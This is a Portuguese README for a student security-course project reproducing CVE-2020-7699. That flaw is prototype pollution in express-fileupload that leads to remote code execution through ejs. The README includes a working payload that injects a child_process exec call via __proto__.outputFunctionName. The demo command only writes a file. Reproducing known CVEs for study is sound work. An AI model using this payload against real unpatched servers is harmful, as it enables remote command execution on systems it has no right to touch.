
Reprodução do CVE-2020-7699, trabalho final da disciplina de Princípios de Segurança de Software.
Reprodução da vulnerabilidade de RCE do Node.js (CVE-2020-7699), meu trabalho de laboratório
Versão do Node.js: v14.16.1, por favor certifique-se de que a versão do Node.js seja 14 (outras versões provavelmente funcionarão, não testei)
Versão do Python: 3.9.5, o Python é usado apenas para enviar a requisição de ataque HTTP, nenhuma versão específica é necessária
Basta usar clone no repositório, npm i para instalar as dependências. Também forneci mais 2 comandos:
npm run start-server para iniciar o servidor alvo (servidor vítima)npm run launch-attack para lançar o ataqueexpress-fileUpload: versões abaixo de 1.1.10 serão afetadas
Vulnerabilidade: poluição de protótipo no express-fileUpload
Como usar: poluir __proto__.outputFunctionName para escrever o comando a ser executado. Ex.: echo "ATTACK SUCCESSFUL" > attacked.txt
exec_command = "echo \"ATTACK SUCCESSFUL\" > attacked.txt"
{
"__proto__.outputFunctionName": (
None,
f"x;process.mainModule.require('child_process').exec('{exec_command}');x"
)
}
Vulnerabilidade: o ejs tentará executar xxx.outputFunctionName, que é undefined, mas se object.outputFunctionName for poluído, ele o executará em vez disso